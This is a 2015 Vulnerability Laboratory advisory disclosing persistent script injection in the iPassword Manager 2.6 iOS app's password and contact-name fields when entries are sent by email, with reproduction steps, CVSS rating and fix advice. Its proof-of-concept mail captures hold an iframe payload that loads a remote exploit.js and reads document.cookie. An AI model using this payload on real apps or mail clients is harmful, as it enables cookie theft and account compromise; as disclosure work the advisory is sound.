iPassword Manager 2.6 Script Insertion

`Document Title:  
===============  
iPassword Manager v2.6 iOS - Persistent Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1453  
  
  
Release Date:  
=============  
2015-04-21  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1455  
  
  
Common Vulnerability Scoring System:  
====================================  
3.7  
  
  
Product & Service Introduction:  
===============================  
iPassword can securely store your important information and can automatically log you into websites with a single tap.   
There`s no need to remember the usernames, passwords, or even the website addresses. Join to iPassword today. Your digital   
life will be in comfort and safe with it.  
  
(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/password-manager-free-secure/id547904729 )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered multiple persistent input validation vulnerabilities in the official iPassword Free Manager v2.6 iOS web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-04-21: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Free Secure App Manager  
Product: iPassword Free Manager - iOS Mobile Web Application 2.6  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
Multiple application-side input validation web vulnerabilities has been discovered in the official iPassword v2.6 iOS web-application.  
The vulnerability allows local and remote attackers to inject own script code to the application-side of the affected mobile web-application.  
  
The security vulnerability is located in the `password` and `name` values of the send by email function. The service does not encode the input of the password   
or the stored entries. Users are able to send the stored data by mail. The encoding of the send by mail function is broken and allows execution of   
malicious script codes. The attackers saved a database entry with malicious code or exchanges an entry by mail. In the moment he converts the stored   
string of the input, the filter mechanism encodes wring and executes the code. In the second instance the code executes on arrival of the send app mail.  
The issue is located in the send password by email function and in the main send by mail function. The attack vector is located on the application-side   
and the request method to inject is db sharing (send email) or by local interaction.  
  
The security risk of the application-side web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.   
Exploitation of the persistent web vulnerability requires a privileged ipassword application user account and low user interaction. Successful exploitation   
of the persistent web vulnerability results in mobile application compromise or connected device component compromise.  
  
Request Method(s):  
[+] [Sync]  
  
Vulnerable Module(s):  
[+] iPassword - Password Input  
[+] Wallet Entries Input (Name)  
  
Vulnerable Parameter(s):  
[+] password  
[+] name  
  
Affected Module(s):  
[+] Local Mail Service App  
[+] Remote Mail (Outgoing)  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by local and remote attackers with low or medium user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Install the iPassword Manager app (https://itunes.apple.com/us/app/password-manager-free-secure/id547904729)  
2. Start the software  
Note: Now the software asks a first time for a password  
3. Inject your payload twice to the password input and press ok  
Note: Now the software asks to send your password by mail  
4. Click ok to send the data by mail  
5. Now the first script code execution occurs in the mail body context  
6. We continue and surf back in the app to add a new contact  
7. Include to the contact name own script code and save the input  
8. Click the send by mail button.  
9. Review the arrived mail in the inbox  
10. The script code execution occurs in the main body context of the mail  
11. Successful reproduce of both vulnerabilities!  
  
  
PoC: Contact > Send Mail  
  
<html>  
<head>  
<title>Send by Mail Function</title>  
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">  
</head>  
<body>  
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>Data41</td></tr><tr><td><b>Von: </b>VLab <[email protected]></td></tr><tr><td><b>Datum: </b>21.04.2015 12:49</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>[email protected]</td></tr></table><br>  
<div class="moz-text-plain"><pre wrap>  
"> <iframe src=http://www.evolution-sec.com/exploit.js onload=alert(document.cookie)< [PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]  
Von meinem iPhone gesendet  
</pre></div></body>  
</html>  
  
PoC: iPassword > Send Mail  
  
<html>  
<head>  
<title>iPassword</title>  
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">  
</head>  
<body>  
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>iPassword</td></tr><tr><td><b>Von: </b>VLab <[email protected]></td></tr><tr><td><b>Datum: </b>21.04.2015 13:29</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>[email protected]</td></tr></table><br>  
<div class="moz-text-plain"><pre wrap>  
Backup Value: >" "><iframe src=http://www.evolution-sec.com/exploit.js onload=alert(document.cookie)< [PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]  
</pre></div></body>  
</html>  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the vulnerable password and name input fields.  
Restrict the input fields and disallow special chars. Encode the outgoing service value input to prevent persistent local/remote script code injection attacks.  
Setup a own filter mechanism with exception-handling to block these type of attacks in outgoing service mails.  
  
  
Security Risk:  
==============  
The security risk of the multiple persistent input validation web vulnerabilities are estimated as medium. (CVSS 3.7)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
([email protected] or [email protected]) to get a permission.  
  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: [email protected]  
PGP KEY: http://www.vulnerability-lab.com/keys/[email protected]%280x198E9928%29.txt  
  
`